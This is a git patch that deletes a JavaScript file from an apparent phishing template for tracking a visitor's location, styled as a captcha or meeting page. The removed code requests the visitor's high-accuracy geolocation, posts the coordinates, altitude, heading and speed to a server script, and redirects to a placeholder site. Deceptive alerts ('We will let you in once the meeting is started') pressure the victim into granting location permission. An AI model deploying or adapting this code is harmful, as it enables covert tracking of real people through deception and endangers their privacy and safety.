From c368c878f6badf46d4a4340ac658cafa335f17b8 Mon Sep 17 00:00:00 2001 From: thewhiteh4t <36354846+thewhiteh4t@users.noreply.github.com> Date: Mon, 4 Jul 2022 02:08:43 -0400 Subject: [PATCH] Delete sxc.js --- template/captcha/js/sxc.js | 101 ------------------------------------- 1 file changed, 101 deletions(-) delete mode 100644 template/captcha/js/sxc.js diff --git a/template/captcha/js/sxc.js b/template/captcha/js/sxc.js deleted file mode 100644 index b8151ae7..00000000 --- a/template/captcha/js/sxc.js +++ /dev/null @@ -1,101 +0,0 @@ -function locate() -{ - if(navigator.geolocation) - { - var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; - navigator.geolocation.getCurrentPosition(showPosition, showError, optn); - } - else - { - alert('Geolocation is not Supported by your Browser...'); - } - - function showPosition(position) - { - var lat = position.coords.latitude; - if( lat ){ - lat = lat + ' deg'; - } - else { - lat = 'Not Available'; - } - var lon = position.coords.longitude; - if( lon ){ - lon = lon + ' deg'; - } - else { - lon = 'Not Available'; - } - var acc = position.coords.accuracy; - if( acc ){ - acc = acc + ' m'; - } - else { - acc = 'Not Available'; - } - var alt = position.coords.altitude; - if( alt ){ - alt = alt + ' m'; - } - else { - alt = 'Not Available'; - } - var dir = position.coords.heading; - if( dir ){ - dir = dir + ' deg'; - } - else { - dir = 'Not Available'; - } - var spd = position.coords.speed; - if( spd ){ - spd = spd + ' m/s'; - } - else { - spd = 'Not Available'; - } - - var ok_status = 'success'; - - $.ajax({ - type: 'POST', - url: 'result_handler.php', - data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, - success: window.location ='$FORWARDEDWEBSITE$', - mimeType: 'text' - }); - alert("We will let you in once the meeting is started"); - }; -} - -function showError(error) -{ - var err_text; - var err_status = 'failed'; - - switch(error.code) - { - case error.PERMISSION_DENIED: - err_text = 'User denied the request for Geolocation'; - alert('Please Refresh This Page and Allow Location Permission...'); - break; - case error.POSITION_UNAVAILABLE: - err_text = 'Location information is unavailable'; - break; - case error.TIMEOUT: - err_text = 'The request to get user location timed out'; - alert('Please Set Your Location Mode on High Accuracy...'); - break; - case error.UNKNOWN_ERROR: - err_text = 'An unknown error occurred'; - break; - } - - $.ajax({ - type: 'POST', - url: 'error_handler.php', - data: {Status: err_status, Error: err_text}, - success: function(){$('#change').html('Failed');}, - mimeType: 'text' - }); -}